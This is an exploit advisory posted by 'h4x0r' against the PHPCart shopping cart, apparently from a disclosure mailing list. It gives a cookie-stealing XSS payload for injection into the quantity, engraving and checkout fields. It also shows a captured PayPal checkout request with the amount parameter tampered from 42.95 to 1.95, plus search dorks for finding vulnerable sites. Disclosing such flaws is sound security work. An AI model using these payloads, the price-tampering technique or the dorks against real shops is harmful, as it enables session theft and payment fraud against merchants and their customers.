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XSS and Data Manipulation attacks found in CMS PHPCart.

Dear Sir,

I have found that the CMS PHPCart is vulnerable to XSS attack and Data
Manuplation I have attached the poc with the mail...... this exploit
is found by me 'h4x0r'

I hope u will publish it soon.

Thanks,

h4x0r

--



-- 
Vaibhav Aher
ISO27001,C|EH
Security Consultant
+91 09225325661

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# 
# Author: h4x0r 
# 
# Home  : www.darkc0de.com 
# 
# Email : vaibhavaher@xxxxxxxxx
# 
# Share the c0de! 
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# 
# Exploit: Multiple exploits (XSS & data manipulation) in PHPCart (PHP 
ECommerce Shopping Cart System ) v3.4 - 4.6.4 
# 
# Soft.Site: http://phpcart.net/
# 
#Exploit 1: XSS
#
# phpCart is a open source web based php shopping cart system integrate for 
ecommece website. A user can run the #following script in "quantity" feild as # 
  well as "Add Engraving" feild or any other feild where we can maually #inject 
the script, to get the current cookies.
# 
# POC1:- http://www.site.com/phpcart/
#  like <script>alert(document.cookie);</script> int the "quantity" feild as 
well as "Add Engraving" feild or any #other feild, to get the current cookies.
#
# POC2:- http://www.site.com/phpcart/phpcart.php   
# Injection of XSS script "Quantity" feild is gives with the XSS attack.
#
# POC3:- http://www.site.com/phpcart/phpcart.php?action=checkout
# Injection of XSS script in input feild like "Name" "Company" "Address, 
Include City & Prov/State" gives with the #XSS attack.
#
# Live Demo:- http://phpcart.net/demo/phpcart/
# 
# 
# Exploit 2: Data manipulation 
#
#DESCRIPTION: 
#A vulnerability in PHPCart, which can be exploited by malicious people to 
manipulate orders. 
#The problem is that the "price" and "postage" parameters are not properly 
verified in "phpcart.php". This can be #exploited to 
#change the price of a product being bought by modifying the "price" parameter 
directly using a intermediate proxy. 
#
#POC:- http://www.site.com/phpcart/phpcart.php
#It was discovered that the main process of online merchant payment was based 
solely on client-side verification.
#The PHP module (phpcart.php) received the payment amount from the client-side, 
forwards the amount and sends back 
#the total price to the backend server for further payment process. 
#There was no proper validation mechanism at the backend to validate the data 
which had been submitted by the PHP module. 
#Potential attackers could tamper the data and modify the total amount.  
#Before the transaction enters the merchant gate way we captured the data using 
intermediate proxy and the total amount shown as $XX as shown was tampered and 
changed.
#
#POC Example:   
#Extract price of purchase:-
#ID     Description            Price    Qty.    Amount  
#GB1000 Golf Balls - Long Distance      1       $28.95  + $14 shipping charges 
so total amount is 42.95 
#
#Intercept before manipulaion:-
#After the Verification form when the page is redirecting to payment gateway 
the page is intermediated. The gateway selected is Paypal.
#
#User-Agent: Opera/9.26 (Windows NT 5.1; U; en)
#Host: www.paypal.com
#Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, 
image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1#
#Accept-Language: en-US,en;q=0.9
#Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
#Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
#Referer: http://www.phpcart.net/demo/phpcart/phpcart.php
#Cookie: KHcl0EuY7AKSMgfvHl7J5E7hPtK=VDrukd29DPvnkTqVFUSeG52gR2iAX22piQHagEGhU
#Cookie2: $Version=1
#Connection: Keep-Alive, TE
#TE: deflate, gzip, chunked, identity, trailers
#Content-Type: application/x-www-form-urlencoded
#Content-Length: 286
#
#cmd=_xclick&upload=1&currency_code=USD&business=sales%40phpcart.net&notify_url=&
#item_name=Shopping+Cart+Order+-+B17B3A57D&return=&cancel_return=&invoice=B17B3A57D&
#firstname=xyz&lastname=qdqd&address1=sfsf&address2=sdfsf&city=sdfsf&state=NE&zip=sfsf&rm=2&amount=42.95&handling_cart=18.00
# 
#Here price=42.95 was tampered and manipulated to 1.95 
#and u can see that the price on the paypal gateway will be 1.95$.
#
# Live Demo:- http://phpcart.net/demo/phpcart/
# 
# Dork:- phpcart/phpcart.php? 
# Dork:- Powered by phpCart
#
#
#
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